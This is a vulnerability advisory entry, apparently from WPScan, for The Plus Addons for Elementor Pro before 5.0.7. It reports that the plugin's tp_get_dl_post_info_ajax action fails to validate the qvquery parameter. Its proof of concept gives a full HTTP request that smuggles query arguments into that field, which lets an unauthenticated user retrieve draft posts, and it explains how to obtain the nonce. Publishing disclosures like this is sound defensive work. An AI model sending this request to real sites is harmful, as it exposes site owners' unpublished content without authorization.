Lucene search

K
wpvulndbNicolas Vidal from TEHTRISWPVDB-ID:2B67005A-476E-4772-B15C-3191911A50B0
HistoryDec 13, 2021 - 12:00 a.m.

The Plus Addons for Elementor Pro < 5.0.7 - Sensitive Data Disclosure

2021-12-1300:00:00
Nicolas Vidal from TEHTRIS
wpscan.com
7

0.002 Low

EPSS

Percentile

53.4%

The plugin does not validate the qvquery parameter of the tp_get_dl_post_info_ajax AJAX action, which could allow unauthenticated users to retrieve sensitive information, such as private and draft posts

PoC

The following request allow an unauthenticated user to get the draft posts (the nonce can be retrieved by looking at the source code of pages/posts for ‘var theplus_nonce = “xxxx”;’) POST /wp-admin/admin-ajax.php HTTP/2 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Upgrade-Insecure-Requests: 1 Cache-Control: max-age=0 Content-Type: application/x-www-form-urlencoded Content-Length: 134 action=tp_get_dl_post_info_ajax&security;=a71d02fefb&product;_id=1&qvquery;=post%26post_status=draft%26p=%26post_type=any%26nopaging=true

CPENameOperatorVersion
theplus_elementor_addonlt5.0.7

0.002 Low

EPSS

Percentile

53.4%

Related for WPVDB-ID:2B67005A-476E-4772-B15C-3191911A50B0